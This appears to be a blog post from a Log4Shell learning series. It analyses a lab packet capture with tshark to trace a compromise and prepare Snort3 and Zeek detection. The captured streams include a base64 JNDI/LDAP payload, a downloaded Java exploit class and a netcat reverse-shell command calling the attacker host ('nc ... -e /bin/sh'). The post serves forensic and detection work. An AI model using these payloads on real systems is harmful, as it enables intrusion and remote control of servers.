┌──(rootđź’€securitynik)-[~/log4j] └─# tshark -t ad -n -r log4-shell.pcapng -q -z follow,tcp,ascii,172.17.0.2:36824,192.168.56.102:389 2>/dev/null | more =================================================================== Follow: tcp,ascii Filter: ((ip.src eq 172.17.0.2 and tcp.srcport eq 36824) and (ip.dst eq 192.168.56.102 and tcp.dstport eq 389)) or ((ip.src eq 192.168.56.102 and tcp.srcport eq 389) and (ip.dst eq 172.17.0.2 and tcp.dst port eq 36824)) Node 0: 172.17.0.2:36824 Node 1: 192.168.56.102:389 14 0....`........ 14 0....a. ...... 142 0.....ci.IBasic/Command/Base64/bmMgMTkyLjE2OC41Ni4xMDIgODAgLWUgL2Jpbi9zaCAtdnZ2Cg== .. .............objectClass0...0...2.16.840.1.113730.3.4.2 231 0.....d...IBasic/Command/Base64/bmMgMTkyLjE2OC41Ni4xMDIgODAgLWUgL2Jpbi9zaCAtdnZ2Cg==0..0.. 14 0....e. ...... 36 0"...B...0...2.16.840.1.113730.3.4.2 ===================================================================
Finally, in frame 121 - 2021-12-20 14:00:58.968858 - Like we have seen before on port 443, interesting strings such as "/bin/sh" and "exec" along with "nc 192.168.56.102 80 -e /bin/sh -vvv"
┌──(rootđź’€securitynik)-[~/log4j]
└─# tshark -t ad -n -r log4-shell.pcapng -q -z follow,tcp,ascii,172.17.0.2:51836,192.168.56.102:443 2>/dev/null | more
===================================================================
Follow: tcp,ascii
Filter: ((ip.src eq 172.17.0.2 and tcp.srcport eq 51836) and (ip.dst eq 192.168.56.102 and tcp.dstport eq 443)) or ((ip.src eq 192.168.56.102 and tcp.srcport eq 443) and (ip.dst eq 172.17.0.2 and tcp.dst
port eq 51836))
Node 0: 172.17.0.2:51836
Node 1: 192.168.56.102:443
181
GET /Exploit6HHc3BcVzI.class HTTP/1.1
User-Agent: Java/1.8.0_181
Host: 192.168.56.102:443
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Connection: keep-alive
78
HTTP/1.1 200 OK
Date: Mon, 20 Dec 2021 19:00:58 GMT
Content-length: 1236
1236
.......2.=...Exploit6HHc3BcVzI.....@com/sun/org/apache/xalan/internal/xsltc/runtime/AbstractTranslet......cmd...Ljava/lang/String;...<init>...()V...java/io/IOException........
.......java/io/File..
......./bin/sh......-c.................../C..!...[Ljava/lang/String;..#...java/lang/Runtime..%..
getRuntime...()Ljava/lang/Runtime;..'.(
.&.)...exec..(([Ljava/lang/String;)Ljava/lang/Process;..+.,
.&.-...printStackTrace../..
.
.0...transform..r(Lcom/sun/org/apache/xalan/internal/xsltc/DOM;[Lcom/sun/org/apache/xml/internal/serializer/SerializationHandler;)V..9com/sun/org/apache/xalan/internal/xsltc/TransletException..4...(Lcom/
sun/org/apache/xalan/internal/xsltc/DOM;Lcom/sun/org/apache/xml/internal/dtm/DTMAxisIterator;Lcom/sun/org/apache/xml/internal/serializer/SerializationHandler;)V...<clinit>..%nc 192.168.56.102 80 -e /bin/
sh -vvv
..8...Code..
Exceptions.!.........
.................:...~.......M*..................Y...SY...SY....SL.......Y.. SY.."SY....SL..*+...W...M,..1....<.D.G.
...;........'............$J..
....2.3...:...
===================================================================
We have gone through all the initial connections reported so far prior to our compromise. Our conclusion, is using the Log4J vulnerability, a threat actor gained access to our critical server and used netcat to setup a reverse shell. While this is still a good assumption, we don't have any evidence so far to confirm this activity was successful. We saw the setup and that was it.
At this point we are 55 minutes into the time it took for this activity to occur, however, we have not seen where the netcat sesssion was setup. Let's write a new filter, focusing in tightly on the ncat connection setup.
┌──(rootđź’€securitynik)-[~/log4j] └─# tshark -t ad -n -r log4-shell.pcapng -Y "(ip.src == 172.17.0.2) && (ip.dst == 192.168.56.102) && (tcp.dstport == 80) && (tcp.flags.syn == 1) && (tcp.flags.ack == 0)" 2>/dev/null 140 2021-12-20 14:00:58.987870 172.17.0.2 → 192.168.56.102 TCP 74 37957 → 80 [SYN] Seq=0 Win=64240 Len=0 MSS=1460 SACK_PERM=1 TSval=2724076527 TSecr=0 WS=128
┌──(rootđź’€securitynik)-[~/log4j] └─# tshark -t ad -n -r log4-shell.pcapng -Y "(ip.dst == 172.17.0.2) && (ip.src == 192.168.56.102) && (tcp.port == 80) && (tcp.flags.syn == 1) && (tcp.flags.ack == 1)" 2>/dev/null 141 2021-12-20 14:00:58.987882 192.168.56.102 → 172.17.0.2 TCP 74 80 → 37957 [SYN, ACK] Seq=0 Ack=1 Win=65160 Len=0 MSS=1460 SACK_PERM=1 TSval=834678917 TSecr=2724076527 WS=128
At this point, we are in a much better position. Confirming the activity by following the stream.
┌──(rootđź’€securitynik)-[~/log4j] └─# tshark -t ad -n -r log4-shell.pcapng -q -z 'follow,tcp,ascii,172.17.0.2:37957,192.168.56.102:80' 2>/dev/null | more =================================================================== Follow: tcp,ascii Filter: ((ip.src eq 172.17.0.2 and tcp.srcport eq 37957) and (ip.dst eq 192.168.56.102 and tcp.dstport eq 80)) or ((ip.src eq 192.168.56.102 and tcp.srcport eq 80) and (ip.dst eq 172.17.0.2 and tcp.dstpo rt eq 37957)) Node 0: 172.17.0.2:37957 Node 1: 192.168.56.102:80 3 ls 4 app 70 bin dev ...
Good stuff! We can now confirm all the activities that occurred at the time of detecting the large set of bytes and ultimately necat. However, at this point, it would be foolish of us not to look to see if this activity is still ongoing. Let's run a query looking for time greater than our last record while focusing on the communication between our critical asset 172.17.0.2 and external IP address 192.168.56.102.
┌──(rootđź’€securitynik)-[~/log4j] └─# tshark -t ad -n -r log4-shell.pcapng -Y '(frame.time > "2021-12-20 14:00:58.987870") && (ip.addr == 172.17.0.2) && (ip.addr == 192.168.56.102 ) && (tcp.flags.syn == 1) && (tcp.flags.ack == 0)' 2>/dev/null | wc --lines 11
Looks like we have 11 packets returned, with the last one being reported as 14:42. As we can see, it was important to look to the future and not just perform historical analysis. At this point, we know this activity initially started at 13:05 and at 14:42 it seems to have ended. This gives us a duration of about (97 minutes) or 1 hour 37 minutes.
┌──(rootđź’€securitynik)-[~/log4j] └─# tshark -t ad -n -r log4-shell.pcapng -Y '(frame.time > "2021-12-20 14:00:58.987870") && (ip.addr == 172.17.0.2) && (ip.addr == 192.168.56.102 ) && (tcp.flags.syn == 1) && (tcp.flags.ack == 0)' 2>/dev/null | more 641 2021-12-20 14:20:07.598696 172.17.0.2 → 192.168.56.102 TCP 74 36826 → 389 [SYN] Seq=0 Win=64240 Len=0 MSS=1460 SACK_PERM=1 TSval=2725225138 TSecr=0 WS=128 1103 2021-12-20 14:21:23.066028 172.17.0.2 → 192.168.56.102 TCP 74 36828 → 389 [SYN] Seq=0 Win=64240 Len=0 MSS=1460 SACK_PERM=1 TSval=2725300605 TSecr=0 WS=128 1565 2021-12-20 14:22:40.779018 172.17.0.2 → 192.168.56.102 TCP 74 36830 → 389 [SYN] Seq=0 Win=64240 Len=0 MSS=1460 SACK_PERM=1 TSval=2725378318 TSecr=0 WS=128 2031 2021-12-20 14:24:51.331840 172.17.0.2 → 192.168.56.102 TCP 74 36832 → 389 [SYN] Seq=0 Win=64240 Len=0 MSS=1460 SACK_PERM=1 TSval=2725508871 TSecr=0 WS=128 2499 2021-12-20 14:30:26.658084 172.17.0.2 → 192.168.56.102 TCP 74 36834 → 389 [SYN] Seq=0 Win=64240 Len=0 MSS=1460 SACK_PERM=1 TSval=2725844197 TSecr=0 WS=128 2968 2021-12-20 14:32:33.951680 172.17.0.2 → 192.168.56.102 TCP 74 36836 → 389 [SYN] Seq=0 Win=64240 Len=0 MSS=1460 SACK_PERM=1 TSval=2725971491 TSecr=0 WS=128 3432 2021-12-20 14:34:33.834198 172.17.0.2 → 192.168.56.102 TCP 74 36838 → 389 [SYN] Seq=0 Win=64240 Len=0 MSS=1460 SACK_PERM=1 TSval=2726091373 TSecr=0 WS=128 3896 2021-12-20 14:35:50.554228 172.17.0.2 → 192.168.56.102 TCP 74 36840 → 389 [SYN] Seq=0 Win=64240 Len=0 MSS=1460 SACK_PERM=1 TSval=2726168094 TSecr=0 WS=128 4813 2021-12-20 14:36:25.414098 172.17.0.2 → 192.168.56.102 TCP 74 36842 → 389 [SYN] Seq=0 Win=64240 Len=0 MSS=1460 SACK_PERM=1 TSval=2726202953 TSecr=0 WS=128 6607 2021-12-20 14:42:12.258490 172.17.0.2 → 192.168.56.102 TCP 74 36844 → 389 [SYN] Seq=0 Win=64240 Len=0 MSS=1460 SACK_PERM=1 TSval=2726549798 TSecr=0 WS=128 7070 2021-12-20 14:42:37.522055 172.17.0.2 → 192.168.56.102 TCP 74 36846 → 389 [SYN] Seq=0 Win=64240 Len=0 MSS=1460 SACK_PERM=1 TSval=2726575061 TSecr=0 WS=128
Do remember, we also have an internal host at 172.17.0.1 communicating with our host at 172.17.0.2. It might be expected that these two hosts should communicate. However, it may also be a case of lateral movement and thus the threat actor using 172.17.0.1 as a jump off point. Let's see what we can find here.
┌──(rootđź’€securitynik)-[~/log4j] └─# tshark -t ad -n -r log4-shell.pcapng -Y '(frame.time > "2021-12-20 14:00:58.987870") && (ip.addr == 172.17.0.2) && (ip.addr == 172.17.0.1 ) && (tcp.flags.syn == 1) && (tcp.flags.ack == 0)' 2>/dev/null | wc --lines 633
At first glance we have 633 SYN connections.
Getting some statistics on the connections, we see port 8080 has the most activity. with all the others ports just having 1 hit.
┌──(rootđź’€securitynik)-[~/log4j] └─# tshark -t ad -n -r log4-shell.pcapng -Y '(frame.time > "2021-12-20 14:00:58.987870") && (ip.addr == 172.17.0.2) && (ip.addr == 172.17.0.1 ) && (tcp.flags.syn == 1) && (tcp.flags.ack == 0)' 2>/dev/null -T fields -e ip.src -e ip.dst -e tcp.dstport | sort | uniq --count | sort --numeric --reverse 630 172.17.0.1 172.17.0.2 8080 1 172.17.0.1 172.17.0.2 80 1 172.17.0.1 172.17.0.2 443 1 172.17.0.1 172.17.0.2 389
At this point, we can continue going through each of these sessions, starting with the three that have a value of 1 to learn what other activity was performed. Why start with the lowest ones? Well 1 is so far off from 630, that I would love to know what is in the unique sessions.
We won't do that in this post, as we already have done our analysis above and are comfortable with our detection and analysis thus far. At this point, we can leverage the actionable intelligence, as in the IoCs we got from this manual process to build automated detection via Snort3 rules and Zeek scripts or signatures. Let's start with the Snort3 rules.
Posts in this series:
Learning by practicing: Beginning Log4-Shell - Understanding The Issue/Vulnerability (securitynik.com)
Learning by practicing: Continuing Log4Shell - Understanding/Testing The Exploit (securitynik.com)
Learning by practicing: Continuing Log4-Shell - Packet Analysis - Detection (securitynik.com)
Learning by practicing: Continuing Log4Shell - Snort3 Rule - Detection (securitynik.com)
Learning by practicing: Continuing Log4Shell - Zeek - Detection (securitynik.com)
Learning by practicing: Beginning Log4-Shell - Understanding The Issue/Vulnerability (securitynik.com)
Learning by practicing: Continuing Log4Shell - Understanding/Testing The Exploit (securitynik.com)
Learning by practicing: Continuing Log4-Shell - Packet Analysis - Detection (securitynik.com)
Learning by practicing: Continuing Log4Shell - Snort3 Rule - Detection (securitynik.com)
Learning by practicing: Continuing Log4Shell - Zeek - Detection (securitynik.com)
References:
